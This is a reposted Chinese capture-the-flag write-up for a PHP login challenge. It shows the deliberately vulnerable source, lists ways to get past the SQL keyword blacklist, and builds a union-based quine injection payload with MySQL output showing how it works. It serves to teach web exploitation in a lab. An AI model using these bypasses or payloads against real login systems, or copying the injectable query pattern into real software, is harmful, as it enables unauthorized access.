轉載自:https://blog.csdn.net/m0_53065491/article/details/122478401
進入場景,是個登錄框
f12找到提示,拿到源碼
源代碼如下
<?php include_once("lib.php"); function alertMes($mes,$url){ die("<script>alert('{$mes}');location.href='{$url}';</script>"); } function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } } if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') { $username=$_POST['username']; $password=$_POST['password']; if ($username !== 'admin') { alertMes('only admin can login', 'index.php');//username===admin } checkSql($password); $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; $user_result=mysqli_query($con,$sql); $row = mysqli_fetch_array($user_result); if (!$row) { alertMes("something wrong",'index.php'); } if ($row['password'] === $password) {//這個是關鍵 die($FLAG); } else { alertMes("wrong password",'index.php'); } } if(isset($_GET['source'])){ show_source(__FILE__); die; } ?>
經過分析源代碼發現只有password字段可控,並且對password字段使用正則表達式做了關鍵字的過濾
function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } }
看到這里心想着雖然過濾了sleep,>,<,substr這些盲注經常用到的函數和符號。但只要是黑名單,就存在被繞過的風險
sleep 可以用benchmark代替 <,> 可以用least(),greatest()代替 =,in 可以用like代替 substr 可以用mid代替 空格 可以用/**/代替
要是盲注就好辦了,直接上sqlmap。但是接着往下看就會發現這么一段很關鍵的代碼
if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php');
這個if判斷了從數據庫中查到的密碼是否和用戶輸入的是一樣的,只有完全一致才會得到FLAG,那這豈不是只能輸入正確密碼才能得到FLAG???
進入正題
通過分析發現只有輸入正確的密碼才能得到FLAG,但是這張表其實是一張空表,所以爆破密碼這條路走不通。
那就只有一個辦法,就是構造一個輸入輸出完全一致的語句,就可以繞過限制並得到FLAG
注入的payload
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
看到這里是不是一臉懵逼,別着急,慢慢分析
1.首先先了解一下replace()函數
- replace(object,search,replace)
- 把object對象中出現的的search全部替換成replace
看個例子
select replace(".",char(46),".");# char(46)就是. +---------------------------+ | replace(".",char(46),".") | +---------------------------+ | . | +---------------------------+
2.如何讓輸入輸出一致呢?
上面的例子用.
替換object里的.
,最終返回了一個.
,那如果我們將object寫成replace(".",char(46),".")
會有什么變化呢?
mysql> select replace('replace(".",char(46),".")',char(46),'.'); +---------------------------------------------------+ | replace('replace(".",char(46),".")',char(46),'.') | +---------------------------------------------------+ | replace(".",char(46),".") | +---------------------------------------------------+
結果返回了replace(".",char(46),".")
這個東西,但還是沒有達到我們預期的效果怎么辦,這時候我們將第三個參數也改成replace(".",char(46),".")
mysql> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")'); +---------------------------------------------------------------------------+ | replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') | +---------------------------------------------------------------------------+ | replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") | +---------------------------------------------------------------------------+
有點類似套娃的感覺。先分析一下這段sql語句
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
replace函數的三個參數分別是
'replace(".",char(46),".")'
char(46)
'replace(".",char(46),".")'
這個語句的意思是用第三個參數替換第一個參數里面的.並返回替換后的第一個參數
這樣就明白了為什么返回的是replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")")
那么這樣是否就達到了我們輸入輸出一致的目的呢,答案肯定是還沒有。細心點就會發現輸入與輸出在單雙引號上有細微的不同
3.解決單雙引號不同的問題
有了上面的經驗后,我們這樣考慮,如果先將雙引號替換成單引號是不是就可以解決引號不同的問題了。實現方法無非就是在套一層replace
mysql> select replace(replace('"."',char(34),char(39)),char(46),".");# 先執行內層replace +--------------------------------------------------------+ | replace(replace('"."',char(34),char(39)),char(46),".") | +--------------------------------------------------------+ | '.' | +--------------------------------------------------------+ 1 row in set (0.00 sec)
這樣就可以將我們的雙引號替換成單引號,此時我們繼續沿用上面的思路,構造輸入輸出相同的語句
mysql> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")'); +------------------------------------------------------------------------------------------------------------------------------------------------------------+ | replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') | +------------------------------------------------------------------------------------------------------------------------------------------------------------+ | replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') | +------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
Quine基本形式:
replace(replace(‘str’,char(34),char(39)),char(46),‘str’)
先將str里的雙引號替換成單引號,再用str替換str里的.
str基本形式(可以理解成上面的".")
replace(replace(".",char(34),char(39)),char(46),".")
完整的Quine就是Quine基本形式+str基本形式
回過頭來再看我們的payload
1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'')#
可理解成我們的Quine的基本形式
1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
這個就是我們str的基本形式
先將str里的雙引號替換成單引號
1'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')#
最終通過來回替換的形式達到了我們的目的
現在就明白了為什么我們的內層replace里面有一個單獨的''
Quine形式多變,修改的時候切記str對應也要修改